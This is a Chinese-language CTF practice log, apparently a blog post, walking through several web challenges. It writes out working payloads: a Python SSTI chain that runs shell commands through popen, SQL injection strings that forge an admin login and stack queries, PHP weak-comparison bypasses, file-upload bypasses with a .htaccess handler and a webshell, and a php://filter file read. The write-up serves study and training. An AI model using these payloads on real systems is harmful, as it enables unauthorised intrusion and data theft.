CTF刷题记录(二)
[第三章 web进阶]SSTI
输入正常数字回显数字
输入运算语句回显结果,说明后台解析注入语句,了存在ssti模板注入
漏洞
ssti服务端模板注入
:
拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
漏洞原理:能够解析执行语句,因此能够写入命令行
password={{"".__class__.__bases__[0].__subclasses__()}}找可用于执行os命令的类os._wrap_close
os.wrap_close在subclasses_()中是第127个函数
故构造
password={{"".__class__.__bases__[0].__subclasses__()[127]}},找到os._wrap_close
再通过构造
password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}执行ls命令,查看目录
再构造
password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls -F /app/').read()}}读取app目录下的文件,找到server.py
再构造:
password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}获取整个server.py
抓包在burpsuite里更容易看,找到了flag
[第三章 web进阶]逻辑漏洞
用户名:admin密码:admin登录进去之后,有商品,可以购买flag
点击购买,不够钱
购买别的商品,花费300
购买多次之后,钱不够了,说明后台在计算剩余钱数
推测计算公式为总数-cost
,所以我们可以反向购买,使之变成总数-(-cost)=总数+cost
,增加余额,达到需要的钱数
?cost=-300&goods=3
重复多次就空手套白狼,赚够钱了
Linux Labs
连接靶机,在目录下找到flag
[GXYCTF2019]BabySQli
源码给出了提示,base32解码后base64解码得到查询的sql语句
根据语句构造playload:1’#回显
说明存在注入漏洞
再构造1'oR 1>0#回显
admin ' ORder by 3#回显
admin' oRder by 4#回显
说明存在3个注入点,使用联合注入admin'UnION select 1,2,3#回显
name=admin'union select 1,'admin',3#&pw=1回显
说明2注入点为用户名
联合注入添加临时虚拟用户
:
union做查询时,查询的数据不存在,那么联合查询就会创建一个虚拟的数据存放在数据库中,也就是说可以构造一个不存在数据,就会创造一个虚拟的数据,构造playload:
name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
'e10adc3949ba59abbe56e057f20f883e'即123456的MD5,注入语句在后台数据库中插入一个用户名为admin,密码为123456的数据,登录即得flag
[ACTF2020 新生赛]BackupFile
题目有提示backupfile,也就是备份文件
,尝试index.php.bak
,下载备份文件,得到flag.php
弱类型比较
:
1、 字符串和数字比较,字符串会转换为数字 admin-->0
2、混合字符串转换为数字,看字符串的第一个 1admin-->1 admin1-->0
3、字符串以xex开头(x表示数字),会被转换为科学计数法2e2=2*10^2=200 0e2=0e48=0
也就是说key=123就可以绕过key==str,playload:?key=123,得flag
[极客大挑战 2019]BuyFlag
源码中的一些提示:
抓包后看到cookie里的user=0,改为1,即从假改为真,回显
再根据条件上传钱和密码,密码存在弱类型比较,
playload:password=404a&money=10000000
绕过了密码,但说钱太长了,改为科学计数
Playload:password=404a&money=1e9,得到flag
[ACTF2020 新生赛]Upload
存在前端过滤
把文件改成gif,抓包再改成php
回显
用phtml绕过php过滤,得到文件路径
访问页面
蚁剑连接,得到webshell,命令行寻找flag
[MRCTF2020]你传你🐎呢
htaccess绕过
:
构造一个把同名文件解析成php格式的htaccess文件
//把hack.png解析成php
<FilesMatch "hack.png">
SetHandler application/x-httpd-php
</FilesMatch>
上传htaccess文件,抓包修改类型为png
再上传一个含有木马的假png,上传成功
蚁剑连接,找到flag
[SUCTF 2019]EasySQL
抓包进行sql注入的fuzz测试
被过滤部分,回显nonono
绕过这些语句和符号进行注入
采用堆叠注入
:
查库:
1;show databases;
查表:
1;show tables;
查flag里的数据:
1;show columns from Flag;
无法访问
由于输入字母不回显,只有输入数字才回显
推测后台sql语句含有||(or),即select (注入语句)|| flag from Flag
构造*,1,即select *,1 || flag from Flag意思为select *,1 from Flag,即可显示所有内容
[ACTF2020 新生赛]Include
提示:
采用伪协议
方法读取flag
构造:
file=php://filter/read=convert.base64-encode/resource=flag.php
返回flag.php的base64编码
解密得flag